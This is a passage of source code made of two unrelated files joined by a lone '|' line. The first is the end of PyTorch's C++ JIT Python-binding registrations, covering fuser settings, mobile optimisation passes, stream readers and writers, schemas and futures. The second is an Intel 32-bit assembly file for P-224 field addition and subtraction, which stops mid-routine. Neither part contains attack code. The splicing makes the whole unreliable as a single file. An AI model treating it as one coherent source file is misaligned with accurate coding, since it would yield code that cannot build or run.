[](bool flag) { return fuser::cuda::setHorizontalFusion(flag); })
.def(
"_jit_nvfuser_horizontal_mode",
[]() { return fuser::cuda::getHorizontalFusion(); })
.def(
"_jit_set_nvfuser_guard_mode",
[](bool profiling_flag) {
bool oldState = fuser::cuda::getCudaFusionGuardMode();
fuser::cuda::getCudaFusionGuardMode() = profiling_flag;
return oldState;
})
.def("_jit_nvfuser_enabled", &RegisterCudaFuseGraph::isRegistered)
.def(
"_jit_nvfuser_set_comparison_callback",
[](bool run_fallback, py::function fn) {
// If set, then the callback will be run after each nvfuser fusion
// group is executed. Can be used for testing accuracy.
// If run_fallback == True, then a fallback will be run and
// unfused_outputs will be nonempty, showing the result if the
// fusion didn't take place. Otherwise, unfused_outputs will
// be empty
auto fn_ptr = std::make_shared<py::function>(fn);
auto callback_lambda = [fn_ptr](
const Stack& fused_outputs,
const Stack& unfused_outputs,
const std::string& graph_ir) {
py::gil_scoped_acquire acquire{};
(*fn_ptr)(fused_outputs, unfused_outputs, graph_ir);
};
setCudaFuserComparisonCallback({run_fallback, callback_lambda});
})
.def(
"_jit_nvfuser_clear_comparison_callback",
[]() {
setCudaFuserComparisonCallback({false, nullptr});
})
.def(
"_jit_set_profiling_mode",
[](bool profiling_flag) {
bool oldState = getProfilingMode();
getProfilingMode() = profiling_flag;
return oldState;
})
.def(
"_jit_set_profiling_executor",
[](bool profiling_flag) {
bool oldState = getExecutorMode();
getExecutorMode() = profiling_flag;
return oldState;
})
.def(
"_jit_set_num_profiled_runs",
[](size_t num) {
size_t old_num = getNumProfiledRuns();
getNumProfiledRuns() = num;
return old_num;
})
.def(
"_jit_get_num_profiled_runs",
[] {
// pybind can't automatically bind to atomic size_t
size_t num_runs = getNumProfiledRuns();
return num_runs;
})
.def(
"_jit_set_bailout_depth",
[](size_t depth) {
TORCH_WARN(
"Use _jit_set_fusion_strategy, bailout depth is deprecated. Setting to (STATIC, ",
depth,
")");
size_t old_depth = getBailoutDepth();
FusionStrategy strat = {{FusionBehavior::STATIC, depth}};
setFusionStrategy(strat);
return old_depth;
})
.def(
"_jit_set_fusion_strategy",
[](std::vector<std::pair<std::string, size_t>> strategy) {
FusionStrategy vec_conv;
for (const auto& pair : strategy) {
if (pair.first == "STATIC") {
vec_conv.emplace_back(FusionBehavior::STATIC, pair.second);
} else if (pair.first == "DYNAMIC") {
vec_conv.emplace_back(FusionBehavior::DYNAMIC, pair.second);
} else {
TORCH_INTERNAL_ASSERT(
false,
"FusionBehavior only supported 'STATIC' or 'DYNAMIC', got: ",
pair.first);
}
}
auto old_strategy = getFusionStrategy();
auto strat =
fmap(old_strategy, [](std::pair<FusionBehavior, size_t> behav) {
return std::pair<std::string, size_t>(
behav.first == FusionBehavior::STATIC ? "STATIC"
: "DYNAMIC",
behav.second);
});
setFusionStrategy(vec_conv);
return strat;
})
.def(
"_jit_set_inline_everything_mode",
[](bool enabled) { getInlineEverythingMode() = enabled; })
.def(
"_jit_get_inline_everything_mode",
[]() { return getInlineEverythingMode(); })
.def(
"_jit_get_logging_option",
[]() { return ::torch::jit::get_jit_logging_levels(); })
.def(
"_jit_set_logging_option",
[](std::string loggingOption) -> void {
::torch::jit::set_jit_logging_levels(loggingOption);
})
.def(
"_jit_set_logging_stream",
[](std::string stream_name) -> void {
if (stream_name == "stdout") {
::torch::jit::set_jit_logging_output_stream(std::cout);
} else if (stream_name == "stderr") {
::torch::jit::set_jit_logging_output_stream(std::cerr);
} else {
std::cerr << "ERROR: only `stdout` and `stderr`"
<< "are supported as output options" << std::endl;
}
})
.def(
"_jit_try_infer_type",
[](py::object obj) -> InferredType {
return tryToInferType(std::move(obj));
})
.def(
"_jit_get_te_cuda_pointwise_loop_levels",
[]() -> int {
using namespace torch::jit::tensorexpr;
return getTECudaPointwiseLoopLevels();
})
.def(
"_jit_set_te_cuda_pointwise_loop_levels",
[](int level) {
using namespace torch::jit::tensorexpr;
return getTECudaPointwiseLoopLevels() = level;
})
.def(
"_jit_get_te_cuda_pointwise_block_count",
[]() -> int {
using namespace torch::jit::tensorexpr;
return getTECudaPointwiseBlockCount();
})
.def(
"_jit_set_te_cuda_pointwise_block_count",
[](int block_count) {
using namespace torch::jit::tensorexpr;
return getTECudaPointwiseBlockCount() = block_count;
})
.def(
"_jit_get_te_cuda_pointwise_block_size",
[]() -> int {
using namespace torch::jit::tensorexpr;
return getTECudaPointwiseBlockSize();
})
.def(
"_jit_set_te_cuda_pointwise_block_size",
[](int block_size) {
using namespace torch::jit::tensorexpr;
return getTECudaPointwiseBlockSize() = block_size;
})
.def("_jit_set_texpr_fuser_enabled", &setTensorExprFuserEnabled)
.def("_jit_texpr_fuser_enabled", &tensorExprFuserEnabled)
.def("_jit_texpr_fallback_allowed", &tensorexpr::fallbackAllowed)
.def("_jit_texpr_set_fallback_allowed", &tensorexpr::setFallbackAllowed)
.def("_jit_set_texpr_reductions_enabled", &setTexprReductionsEnabled)
.def(
"_jit_set_texpr_dynamic_shape_enabled",
&setTensorExprDynamicShapeFusionEnabled)
.def(
"_jit_texpr_dynamic_shape_enabled",
&tensorExprDynamicShapeFusionEnabled)
.def("_jit_texpr_reductions_enabled", &texprReductionsEnabled)
.def(
"_jit_set_te_generate_block_code",
[](bool gen_block_code) {
using namespace torch::jit::tensorexpr;
return getTEGenerateBlockCode() = gen_block_code;
})
.def(
"_jit_get_te_generate_block_code",
[]() -> bool {
using namespace torch::jit::tensorexpr;
return getTEGenerateBlockCode();
})
.def(
"_jit_get_te_must_use_llvm_cpu",
[]() -> bool {
using namespace torch::jit::tensorexpr;
return getTEMustUseLLVMOnCPU();
})
.def(
"_jit_set_te_must_use_llvm_cpu",
[](bool use_llvm) {
using namespace torch::jit::tensorexpr;
getTEMustUseLLVMOnCPU() = use_llvm;
})
.def(
"_jit_cat_wo_conditionals",
[](bool optimize_cat) {
using namespace torch::jit::tensorexpr;
getCatWoConditionals() = optimize_cat;
})
.def(
"_jit_opt_conditionals",
[](bool opt_conds) {
using namespace torch::jit::tensorexpr;
getOptConditionals() = opt_conds;
})
.def(
"_llvm_enabled",
[]() {
#ifdef TORCH_ENABLE_LLVM
return true;
#else
return false;
#endif
})
.def(
"_jit_pass_fuse_tensorexprs",
[](std::shared_ptr<Graph>& g) {
FuseTensorExprs(g);
RemoveTensorTypeSpecializations(g);
})
.def(
"_jit_fuser_get_fused_kernel_code",
[](Graph& g, const std::vector<at::Tensor>& inps) {
return debugGetFusedKernelCode(g, inps);
})
.def(
"_jit_pass_remove_dropout",
[](script::Module& module) { return removeDropout(module); })
.def(
"_jit_pass_transform_conv1d_to_conv2d",
[](std::shared_ptr<Graph>& graph) {
return transformConv1dToConv2d(graph);
})
.def(
"_jit_pass_transform_conv1d_to_conv2d",
[](script::Module& module) {
return transformConv1dToConv2d(module);
})
.def(
"_jit_pass_insert_prepacked_ops",
[](std::shared_ptr<Graph>& graph) {
return insertPrePackedOps(graph);
})
.def(
"_jit_pass_insert_prepacked_ops",
[](script::Module& module) { return insertPrePackedOps(module); })
.def(
"_jit_pass_fuse_clamp_w_prepacked_linear_conv",
[](script::Module& module) {
return fusePrePackedLinearConvWithClamp(module);
})
.def(
"_jit_pass_fold_prepacking_ops",
[](script::Module& module) { return FoldPrePackingOps(module); })
.def(
"_jit_pass_optimize_for_mobile",
[](script::Module& module,
std::set<MobileOptimizerType>& optimization_blocklist,
std::vector<std::string>& preserved_methods) {
return optimizeForMobile(
module, optimization_blocklist, preserved_methods);
})
.def(
"_hack_do_not_use_clone_module_with_class",
[](script::Module& module,
std::vector<std::string>& ignored_methods,
std::vector<std::string>& ignored_attributes) {
const bool inplace = false;
const std::unordered_set<std::string> ignored_methods_set(
ignored_methods.begin(), ignored_methods.end());
const std::unordered_set<std::string> ignored_attributes_set(
ignored_attributes.begin(), ignored_attributes.end());
return module.clone(
inplace, ignored_methods_set, ignored_attributes_set);
})
.def(
"_jit_pass_vulkan_insert_prepacked_ops",
[](std::shared_ptr<Graph>& graph) {
return vulkanInsertPrePackedOps(graph);
})
.def(
"_jit_pass_vulkan_insert_prepacked_ops",
[](script::Module& module) {
return vulkanInsertPrePackedOps(module);
})
.def(
"_jit_pass_vulkan_fuse_clamp_w_prepacked_conv",
[](script::Module& module) {
return vulkanFusePrePackedConvWithClamp(module);
})
.def(
"_jit_pass_vulkan_fold_prepacking_ops",
[](script::Module& module) {
return vulkanFoldPrePackingOps(module);
})
.def(
"_jit_pass_vulkan_optimize_for_mobile",
[](script::Module& module,
std::vector<std::string>& preserved_methods) {
return vulkanOptimizeForMobile(module, preserved_methods);
})
.def(
"_jit_pass_metal_insert_prepacked_ops",
[](std::shared_ptr<Graph>& graph) {
return metalInsertPrePackedOps(graph);
})
.def(
"_jit_pass_metal_insert_prepacked_ops",
[](script::Module& module) {
return metalInsertPrePackedOps(module);
})
.def(
"_jit_pass_metal_fuse_clamp_w_prepacked_conv",
[](script::Module& module) {
return metalFusePrePackedConvWithClamp(module);
})
.def(
"_jit_pass_metal_fold_prepacking_ops",
[](script::Module& module) { return metalFoldPrePackingOps(module); })
.def(
"_jit_pass_metal_optimize_for_mobile",
[](script::Module& module,
std::vector<std::string>& preserved_methods) {
return metalOptimizeForMobile(module, preserved_methods);
})
.def(
"_jit_pass_filter_non_tensor_arguments",
[](std::map<std::string, IValue> params) {
std::map<std::string, at::Tensor> retval;
for (auto& kv : params) {
if (kv.second.isTensor()) {
retval[kv.first] = std::move(kv.second).toTensor();
}
}
return retval;
})
.def("_jit_pass_batch_mm", BatchMM)
.def("_jit_decay_packed_param_input_types", [](Graph& g) {
for (Value* i : g.inputs()) {
if (i->type() ==
getCustomClass(
"__torch__.torch.classes.quantized.Conv2dPackedParamsBase") ||
i->type() ==
getCustomClass(
"__torch__.torch.classes.quantized.Conv3dPackedParamsBase") ||
i->type() ==
getCustomClass(
"__torch__.torch.classes.quantized.LinearPackedParamsBase")) {
// Dummy CompleteTensorType to appease ONNX validator.
i->setType(TensorType::create(
at::kQInt8,
c10::kCPU,
std::vector<int64_t>{1},
std::vector<int64_t>{1},
c10::nullopt));
}
}
});
// NOLINTNEXTLINE(bugprone-unused-raii)
py::class_<CompleteArgumentSpec>(m, "CompleteArgumentSpec")
.def("__repr__", [](CompleteArgumentSpec& self) {
std::ostringstream s;
s << self;
return s.str();
});
// NOLINTNEXTLINE(bugprone-unused-raii)
py::class_<ArgumentSpec>(m, "ArgumentSpec");
py::class_<Code>(m, "Code")
.def(
"grad_executor_states",
[](Code& c) {
std::vector<GraphExecutorState> states;
for (auto& e : c.grad_executors()) {
states.emplace_back(e->getDebugState());
}
return states;
})
.def(
"differentiable_op_executor_states",
[](Code& c) {
std::vector<GraphExecutorState> states;
for (auto& e : c.diff_graph_op_executors()) {
if (e->isOptimized()) {
states.emplace_back(e->getDebugState());
} else {
// we leave an empty entry for node that doesn't have an
// optimized plan
states.emplace_back();
}
}
return states;
})
.def("num_bailouts", [](Code& c) { return c.num_bailouts(); })
.def("request_bailout", [](Code& c, size_t index) {
c.request_bailout(index);
});
py::class_<ExecutionPlan>(m, "ExecutionPlan")
.def_property_readonly("graph", [](ExecutionPlan& s) { return s.graph; })
.def_property_readonly("code", [](ExecutionPlan& s) { return s.code; });
py::class_<Gradient>(m, "Gradient")
.def_property_readonly("f", [](Gradient& m) { return m.f; })
.def_property_readonly("df", [](Gradient& m) { return m.df; })
.def_property_readonly(
"f_real_outputs", [](Gradient& m) { return m.f_real_outputs; })
.def_property_readonly(
"df_input_vjps", [](Gradient& m) { return m.df_input_vjps; })
.def_property_readonly(
"df_input_captured_inputs",
[](Gradient& m) { return m.df_input_captured_inputs; })
.def_property_readonly(
"df_input_captured_outputs",
[](Gradient& m) { return m.df_input_captured_outputs; })
.def_property_readonly(
"df_output_vjps", [](Gradient& m) { return m.df_output_vjps; });
py::class_<GraphExecutorState>(m, "GraphExecutorState")
.def_property_readonly(
"graph", [](GraphExecutorState& s) { return s.graph; })
.def_property_readonly(
"execution_plans",
[](GraphExecutorState& s) { return s.execution_plans; })
.def_property_readonly(
"fallback", [](GraphExecutorState& s) { return s.fallback; });
py::class_<PyTorchStreamWriter>(m, "PyTorchFileWriter")
.def(py::init<std::string>())
.def(py::init([](const py::object& buffer) {
auto writer_func = [=](const void* data, size_t size) {
auto bytes = py::bytes(reinterpret_cast<const char*>(data), size);
buffer.attr("write")(std::move(bytes));
return size;
};
return std::make_unique<PyTorchStreamWriter>(std::move(writer_func));
}))
.def(py::init<const std::function<size_t(const void*, size_t)>&>())
.def(
"write_record",
[](PyTorchStreamWriter& self,
const std::string& name,
const char* data,
size_t size) { return self.writeRecord(name, data, size); })
.def("write_end_of_file", &PyTorchStreamWriter::writeEndOfFile)
.def("set_min_version", &PyTorchStreamWriter::setMinVersion)
.def(
"write_record",
[](PyTorchStreamWriter& self,
const std::string& name,
uintptr_t data,
size_t size) {
return self.writeRecord(
name, reinterpret_cast<const char*>(data), size);
})
.def("archive_name", &PyTorchStreamWriter::archiveName)
.def(
"get_all_written_records",
&PyTorchStreamWriter::getAllWrittenRecords);
py::enum_<MobileOptimizerType>(m, "MobileOptimizerType")
.value("CONV_BN_FUSION", MobileOptimizerType::CONV_BN_FUSION)
.value(
"INSERT_FOLD_PREPACK_OPS",
MobileOptimizerType::INSERT_FOLD_PREPACK_OPS)
.value("REMOVE_DROPOUT", MobileOptimizerType::REMOVE_DROPOUT)
.value("FUSE_ADD_RELU", MobileOptimizerType::FUSE_ADD_RELU)
.value(
"HOIST_CONV_PACKED_PARAMS",
MobileOptimizerType::HOIST_CONV_PACKED_PARAMS)
.export_values();
// This allows PyTorchStreamReader to read from a Python buffer. It requires
// that the buffer implement `seek()`, `tell()`, and `read()`.
class BufferAdapter : public caffe2::serialize::ReadAdapterInterface {
public:
BufferAdapter(const py::object& buffer) : buffer_(buffer) {
// Jump to the end of the buffer to get its size
auto current = buffer.attr("tell")();
start_offset_ = py::cast<size_t>(current);
buffer.attr("seek")(current, py::module::import("os").attr("SEEK_END"));
size_ = py::cast<size_t>(buffer.attr("tell")()) - start_offset_;
buffer.attr("seek")(current);
// If we can read directly into a buffer, do that instead of an extra copy
use_readinto_ = py::hasattr(buffer, "readinto");
}
size_t size() const override {
return size_;
}
THPObjectPtr getMemview(void* buf, size_t n) const {
THPObjectPtr memview(PyMemoryView_FromMemory(
reinterpret_cast<char*>(buf), n, PyBUF_WRITE));
if (!memview) {
throw python_error();
}
return memview;
}
size_t read(uint64_t pos, void* buf, size_t n, const char* what)
const override {
// Seek to desired position (NB: this has to be a Py_ssize_t or Python
// throws a weird error)
Py_ssize_t absolute_pos = start_offset_ + pos;
buffer_.attr("seek")(absolute_pos);
if (use_readinto_) {
auto memview = getMemview(buf, n);
auto res =
PyObject_CallMethod(buffer_.ptr(), "readinto", "O", memview.get());
if (res) {
int64_t i = static_cast<int64_t>(PyLong_AsLongLong(res));
if (i > 0) {
return i;
}
}
}
// Read bytes into `buf` from the buffer
std::string bytes = py::cast<std::string>(buffer_.attr("read")(n));
std::copy(
bytes.data(),
bytes.data() + bytes.size(),
reinterpret_cast<char*>(buf));
return bytes.size();
}
py::object buffer_;
size_t size_;
size_t start_offset_;
bool use_readinto_;
};
py::class_<PyTorchStreamReader, std::shared_ptr<PyTorchStreamReader>>(
m, "PyTorchFileReader")
.def(py::init<std::string>())
.def(py::init([](const py::object& buffer) {
auto adapter = std::make_unique<BufferAdapter>(buffer);
return std::make_shared<PyTorchStreamReader>(std::move(adapter));
}))
.def(
"get_record",
[](PyTorchStreamReader& self, const std::string& key) {
at::DataPtr data;
size_t size = 0;
std::tie(data, size) = self.getRecord(key);
return py::bytes(reinterpret_cast<const char*>(data.get()), size);
})
.def(
"has_record",
[](PyTorchStreamReader& self, const std::string& key) {
return self.hasRecord(key);
})
.def(
"get_storage_from_record",
[](PyTorchStreamReader& self,
const std::string& key,
size_t numel,
py::object data_type_obj) {
at::DataPtr data(std::get<0>(self.getRecord(key)));
auto scalar_type =
reinterpret_cast<THPDtype*>(data_type_obj.ptr())->scalar_type;
c10::Storage storage(
c10::Storage::use_byte_size_t(),
numel * elementSize(scalar_type),
std::move(data),
/*allocator=*/nullptr,
/*resizable=*/false);
auto ptr =
c10::make_intrusive<at::TensorImpl, at::UndefinedTensorImpl>(
std::move(storage),
at::DispatchKeySet(),
at::CPU(scalar_type).typeMeta());
return at::Tensor(std::move(ptr));
})
.def("get_all_records", [](PyTorchStreamReader& self) {
return self.getAllRecords();
});
// Used by torch.Package to coordinate deserialization of storages across
// ScriptModules and eager modules
py::class_<
DeserializationStorageContext,
std::shared_ptr<DeserializationStorageContext>>(
m, "DeserializationStorageContext")
.def(py::init<>())
.def(
"get_storage",
[](DeserializationStorageContext& self,
const std::string& name,
py::object data_type_obj) {
c10::Storage storage = self.getStorage(name);
auto scalar_type =
reinterpret_cast<THPDtype*>(data_type_obj.ptr())->scalar_type;
auto ptr =
c10::make_intrusive<at::TensorImpl, at::UndefinedTensorImpl>(
std::move(storage),
at::DispatchKeySet(),
at::CPU(scalar_type).typeMeta());
return at::Tensor(std::move(ptr));
})
.def(
"add_storage",
[](DeserializationStorageContext& self,
const std::string& name,
const at::Tensor& tensor) {
return self.addStorage(name, tensor.storage());
})
.def("has_storage", &DeserializationStorageContext::hasStorage);
m.def(
"_get_schema",
[](const std::string& op_name, const std::string& overload_name) {
try {
auto symbol = Symbol::fromQualString(op_name);
auto operations = getAllOperatorsFor(symbol);
for (const auto& op : operations) {
if (op->schema().overload_name() == overload_name) {
return op->schema();
}
}
throw std::runtime_error("Found no matching schema");
} catch (const c10::Error& e) {
auto msg = torch::get_cpp_stacktraces_enabled()
? e.what()
: e.what_without_backtrace();
throw std::runtime_error(msg);
}
});
m.def(
"_get_operation_overload",
[](const std::string& op_name, const std::string& overload_name) {
try {
auto symbol = Symbol::fromQualString(op_name);
auto operations = getAllOperatorsFor(symbol);
for (const auto& op : operations) {
if (op->schema().overload_name() == overload_name) {
auto func = py::cpp_function(
[op, symbol](py::args args, py::kwargs kwargs) {
return _get_operation_for_overload_or_packet(
{op}, symbol, args, kwargs, true);
});
return func;
}
}
throw std::runtime_error("Found no matching operator overload");
} catch (const c10::Error& e) {
auto msg = torch::get_cpp_stacktraces_enabled()
? e.what()
: e.what_without_backtrace();
throw std::runtime_error(msg);
}
});
m.def(
"_jit_get_operation",
[](const std::string& op_name) {
try {
auto symbol = Symbol::fromQualString(op_name);
auto operations = getAllOperatorsFor(symbol);
TORCH_CHECK(!operations.empty(), "No such operator ", op_name);
std::ostringstream docstring;
docstring << "Automatically bound operator '" << op_name
<< "' with schema(s):\n";
for (const auto& op : operations) {
docstring << " " << op->schema() << "\n";
}
auto func = py::cpp_function(
[operations, symbol](py::args args, py::kwargs kwargs) {
return _get_operation_for_overload_or_packet(
operations, symbol, args, kwargs, false);
},
py::name(symbol.toUnqualString()),
py::doc(docstring.str().c_str()));
return func;
} catch (const c10::Error& e) {
auto msg = torch::get_cpp_stacktraces_enabled()
? e.what()
: e.what_without_backtrace();
throw std::runtime_error(msg);
}
},
py::arg("qualified_name"));
m.def(
"parse_ir",
[](const std::string& input, bool parse_tensor_constants) {
auto graph = std::make_shared<Graph>();
parseIR(input, &*graph, parse_tensor_constants);
return graph;
},
py::arg("input"),
py::arg("parse_tensor_constants") = false);
m.def("parse_schema", parseSchema);
m.def("unify_type_list", [](const std::vector<TypePtr>& types) {
std::ostringstream s;
auto type = unifyTypeList(types, s);
if (!type) {
throw std::runtime_error(s.str());
}
return type.value();
});
py::class_<FunctionSchema>(m, "FunctionSchema")
.def_property_readonly(
"name", [](FunctionSchema& self) { return self.name(); })
.def_property_readonly(
"overload_name",
[](FunctionSchema& self) { return self.overload_name(); })
.def_property_readonly(
"arguments", [](FunctionSchema& self) { return self.arguments(); })
.def_property_readonly(
"returns", [](FunctionSchema& self) { return self.returns(); })
.def(
"is_backward_compatible_with",
[](const FunctionSchema& self, const FunctionSchema& old_schema) {
return self.isBackwardCompatibleWith(old_schema);
})
.def(
"check_forward_compatible_with",
[](const FunctionSchema& self, const FunctionSchema& old_schema) {
std::ostringstream out;
auto result = self.isForwardCompatibleWith(old_schema, out);
return std::make_pair(result, out.str());
})
.def(
"__eq__",
[](const FunctionSchema& self, const FunctionSchema& other) {
return self == other;
})
.def(
"__str__",
[](FunctionSchema& self) {
std::stringstream ss;
ss << self;
return ss.str();
})
.def_property_readonly(
"is_mutable", [](FunctionSchema& self) { return self.is_mutable(); });
py::class_<Argument>(m, "Argument")
.def_property_readonly("name", [](Argument& self) { return self.name(); })
.def_property_readonly("type", [](Argument& self) { return self.type(); })
.def_property_readonly(
"N",
[](Argument& self) -> py::object {
return (self.N()) ? py::cast(*self.N()) : py::none();
})
.def_property_readonly(
"default_value",
[](Argument& self) -> py::object {
if (!self.default_value()) {
return py::none();
}
IValue v = *self.default_value();
return toPyObject(std::move(v));
})
.def(
"has_default_value",
[](Argument& self) -> py::bool_ {
return self.default_value().has_value();
})
.def_property_readonly("kwarg_only", [](Argument& self) -> bool {
return self.kwarg_only();
});
m.def("_jit_get_all_schemas", []() {
const std::vector<std::shared_ptr<Operator>>& operations =
getAllOperators();
return fmap(operations, [](const std::shared_ptr<Operator>& op) {
return op->schema();
});
});
m.def("_jit_get_custom_class_schemas", customClassSchemasForBCCheck);
m.def("_jit_get_schemas_for_operator", [](const std::string& qualified_name) {
auto symbol = Symbol::fromQualString(qualified_name);
const auto& operations = getAllOperatorsFor(symbol);
return fmap(operations, [](const std::shared_ptr<Operator>& op) {
return op->schema();
});
});
m.def("_is_tracing", []() { return jit::tracer::isTracing(); });
py::class_<PythonFutureWrapper, std::shared_ptr<PythonFutureWrapper>>(
m, "Future")
.def(py::init([](std::vector<c10::Device> devices = {}) {
return std::make_shared<PythonFutureWrapper>(
c10::make_intrusive<c10::ivalue::Future>(
PyObjectType::get(), std::move(devices)));
}))
.def(
"done",
// Intentionally not releasing GIL
&PythonFutureWrapper::done)
.def(
"value",
&PythonFutureWrapper::value,
py::call_guard<py::gil_scoped_release>())
.def(
"wait",
&PythonFutureWrapper::wait,
py::call_guard<py::gil_scoped_release>())
.def(
"then",
&PythonFutureWrapper::then,
py::call_guard<py::gil_scoped_release>())
.def(
"add_done_callback",
&PythonFutureWrapper::add_done_callback,
py::call_guard<py::gil_scoped_release>())
.def(
"set_result",
// Intentionally not releasing GIL
&PythonFutureWrapper::markCompleted)
.def(
"_set_unwrap_func",
// Intentionally not releasing GIL as this just does an assign
[](PythonFutureWrapper& self, py::function unwrapFunc) {
auto functionGuard =
std::make_shared<torch::jit::PythonFunctionGuard>(
std::move(unwrapFunc));
std::function<void(py::object)> pf =
[functionGuard(std::move(functionGuard))](
const py::object& inp) {
return functionGuard->func_(inp);
};
self.unwrap_func = std::move(pf);
})
.def(
py::pickle(
/* __getstate__ */
[](const PythonFutureWrapper& /* unused */) {
TORCH_CHECK(false, "Can not pickle torch.futures.Future");
// Note that this return has no meaning since we always
// throw, it's only here to satisfy Pybind API's
// requirement.
return py::make_tuple();
},
/* __setstate__ */
[](const py::tuple& /* unused */) { // NOLINT
TORCH_CHECK(false, "Can not unpickle torch.futures.Future");
// Note that this return has no meaning since we always
// throw, it's only here to satisfy PyBind's API
// requirement.
return nullptr;
}),
py::call_guard<py::gil_scoped_release>());
m.def("fork", [](const py::args& args, const py::kwargs& kwargs) {
AT_ASSERT(args.size() >= 1);
py::function f = py::cast<py::function>(args[0]);
py::tuple args_tup(args.size() - 1);
for (const auto i : c10::irange(1, args.size())) {
args_tup[i - 1] = args[i];
}
if (jit::tracer::isTracing()) {
auto graph = jit::tracer::getTracingState()->graph;
auto fork_node = graph->insertNode(graph->create(prim::TracedFork, 1));
auto body_block = fork_node->addBlock();
Value* node_output = nullptr;
py::object py_func_output;
// Insert new trace ops into the fork op's sub-block
WithInsertPoint guard(body_block);
IValue output_ivalue;
{
tracer::WithNestedTracingFrame env_guard;
// Run the user-supplied function
py_func_output = f(*args_tup, **kwargs);
// Convert the output of the user-supplied function to IValue. The type
// information of this IValue is used both to record the correct type in
// the trace.
output_ivalue = toTypeInferredIValue(py_func_output);
Value* out_val = jit::tracer::getValueTrace(output_ivalue);
body_block->registerOutput(out_val);
node_output =
fork_node->output()->setType(FutureType::create(out_val->type()));
}
auto retval =
c10::make_intrusive<c10::ivalue::Future>(output_ivalue.type());
// Record the ivalue in the tracer
jit::tracer::setValueTrace(retval, node_output);
// stuff the ivalue output in the Future
retval->markCompleted(output_ivalue);
return std::make_shared<PythonFutureWrapper>(retval);
} else {
auto result = toTypeInferredIValue(f(*args_tup, **kwargs));
auto retval = c10::make_intrusive<c10::ivalue::Future>(result.type());
retval->markCompleted(std::move(result));
return std::make_shared<PythonFutureWrapper>(retval);
}
});
m.def("wait", [](const std::shared_ptr<PythonFutureWrapper>& fut) {
return fut->wait();
});
m.def(
"_collect_all",
[](const std::vector<std::shared_ptr<jit::PythonFutureWrapper>>& futures)
-> std::shared_ptr<jit::PythonFutureWrapper> {
auto typePtr =
futures.empty() ? AnyType::get() : futures[0]->fut->elementType();
c10::List<c10::intrusive_ptr<c10::ivalue::Future>> asList(
c10::FutureType::create(typePtr));
asList.reserve(futures.size());
for (const auto& f : futures) {
asList.push_back(f->fut);
}
return std::make_shared<jit::PythonFutureWrapper>(
c10::collectAll(asList),
/* unwrap_func */ [futures](const py::object& /*unused*/) {
// Throw errors when calling wait() on the returned Future if
// any of the original futures would throw.
// NB: PythonFutureWrapper takes an unwrap_func which serves as a
// callback to evalute the value in the Future. RPC uses this
// unwrap_func to check whether the returned py::object is a
// RemoteException object, and re-throw the exception if it is.
// By extracting the c10::ivalue::Future from PythonFutureWrapper
// the unwrap_func on the original PythonFutureWrapper objects are
// discarded, and hence it will return the RemoteException as an
// object instead of re-throwing it.
for (auto& fut : futures) {
fut->wait();
}
});
},
py::call_guard<py::gil_scoped_release>());
m.def("_jit_assert_is_instance", [](py::object obj, const TypePtr& type) {
toIValue(std::move(obj), type);
});
#if defined(C10_SUPPORTS_FATAL_SIGNAL_HANDLERS)
m.def("_set_print_stack_traces_on_fatal_signal", [](bool print) {
c10::FatalSignalHandler::getInstance().setPrintStackTracesOnFatalSignal(
print);
});
#endif // defined(C10_SUPPORTS_SIGNAL_HANDLER)
initPythonCustomClassBindings(module);
initPythonIRBindings(module);
tracer::initPythonTracerBindings(module);
initTreeViewBindings(module);
initJitScriptBindings(module);
initJitBackendBindings(module);
initStaticModuleBindings(module);
initTensorExprBindings(module);
setPrintHandler([](const std::string& str) {
py::gil_scoped_acquire acquire;
try {
auto _stdout = py::module::import("sys").attr("stdout");
_stdout.attr("write")(str);
} catch (py::error_already_set& e) {
throw std::runtime_error(e.what());
}
});
// On exit we need to reset the print handler to default one,
// because otherwise prim::Print() instruction won't work for JIT modules.
auto atexit = py::module_::import("atexit");
atexit.attr("register")(
py::cpp_function([]() { setPrintHandler(getDefaultPrintHandler()); }));
}
} // namespace jit
} // namespace torch
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
p224r1_data:
_prime224r1:
.long 0x1, 0x0, 0x0, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF
.p2align 5, 0x90
.type g9_add_224, @function
g9_add_224:
movl (%esi), %eax
addl (%ebx), %eax
movl %eax, (%edi)
movl (4)(%esi), %eax
adcl (4)(%ebx), %eax
movl %eax, (4)(%edi)
movl (8)(%esi), %eax
adcl (8)(%ebx), %eax
movl %eax, (8)(%edi)
movl (12)(%esi), %eax
adcl (12)(%ebx), %eax
movl %eax, (12)(%edi)
movl (16)(%esi), %eax
adcl (16)(%ebx), %eax
movl %eax, (16)(%edi)
movl (20)(%esi), %eax
adcl (20)(%ebx), %eax
movl %eax, (20)(%edi)
movl (24)(%esi), %eax
adcl (24)(%ebx), %eax
movl %eax, (24)(%edi)
mov $(0), %eax
adc $(0), %eax
ret
.Lfe1:
.size g9_add_224, .Lfe1-(g9_add_224)
.p2align 5, 0x90
.type g9_sub_224, @function
g9_sub_224:
movl (%esi), %eax
subl (%ebx), %eax
movl %eax, (%edi)
movl (4)(%esi), %eax
sbbl (4)(%ebx), %eax
movl %eax, (4)(%edi)
movl (8)(%esi), %eax
sbbl (8)(%ebx), %eax
movl %eax, (8)(%edi)
movl (12)(%esi), %eax
sbbl (12)(%ebx), %eax
movl %eax, (12)(%edi)
movl (16)(%esi), %eax
sbbl (16)(%ebx), %eax
movl %eax, (16)(%edi)
